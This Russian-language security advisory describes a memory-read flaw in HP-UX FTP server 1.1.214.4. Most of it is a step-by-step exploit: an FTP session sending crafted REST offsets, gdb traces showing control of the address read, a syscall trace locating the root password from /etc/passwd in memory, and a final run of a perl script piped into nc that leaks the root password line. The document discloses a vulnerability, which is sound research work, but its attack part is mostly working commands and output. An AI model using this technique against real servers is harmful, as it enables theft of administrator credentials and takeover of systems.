Уязвимые версии: HPUX FTP server 1.1.214.4.
Детали.
frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
Name (192.168.1.111:root): elguapo
331 Password required for elguapo.
Password:
230 User elguapo logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rest 1111111111111111
restarting at 2147483647. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
# gdb /usr/lbin/ftpd 2862
GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.
/home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862
Unable to find __dld_flags symbol in object file.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x7fffffff: Bad address.
(gdb) info registers r3 r11
r3: 7fffffff
r11: 7fffffff
Попытаемся прочесть из адреса 0x7fffffff. Если использовать другие оффсеты для команды REST, обнаружим, что мы можем получить полный контроль над адресом, который читается.
В gdb этот адрес можно найти и в r3 и в 11. Ниже приведен результат таких попыток прочтения. Значение, хранящееся в r3 будет далее использовано для вызова write() .
ftp> rest 200000
restarting at 200000. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d40: Bad address.
ftp> rest 200002
restarting at 200002. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
Program received signal SIGSEGV, Segmentation fault.
0xc00ef0b8 in ?? ()
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d42: Bad address.
ftp> rest 200004
restarting at 200004. execute get, put or append to initiate transfer
ftp> get .
local: . remote: .
200 PORT command successful.
(gdb) bt
#0 0xc00ef0b8 in ?? ()
Error accessing memory address 0x30d44: Bad address.
На этом этапе остается только найти нужный сегмент памяти, из которого нам надо прочесть информацию. Самое интересно, что при попытке аутентифицироваться, пароль root уже находится в памяти! После небольших трассировок системных вызовов был найден адрес, из которого можно прочесть пароль администратора через команду
REST. Результат наших изысканий представлен ниже.
Вот что происходит во время аутентификации:
open("/etc/passwd", O_RDONLY, 0666) [entry]
open("/etc/passwd", O_RDONLY, 0666)
ioctl(5, TCGETA, 0x7f7e61b8)[entry]
ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
read(5, 0x4002fe10, 8192)[entry]
read(5, 0x4002fe10, 8192)= 454
r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :
Адрес 0x4002fe10 теперь содержит пароль root. Это адрес, который нам нужно поместить в регистр r3. REST 1073937936 сделает свою работу. Простенький perl нам послужит эксплоитом.
frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
331 Password required for root.
530 Login incorrect.
350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
daemon:*:1:5::/:/sbin/sh\n bin:
...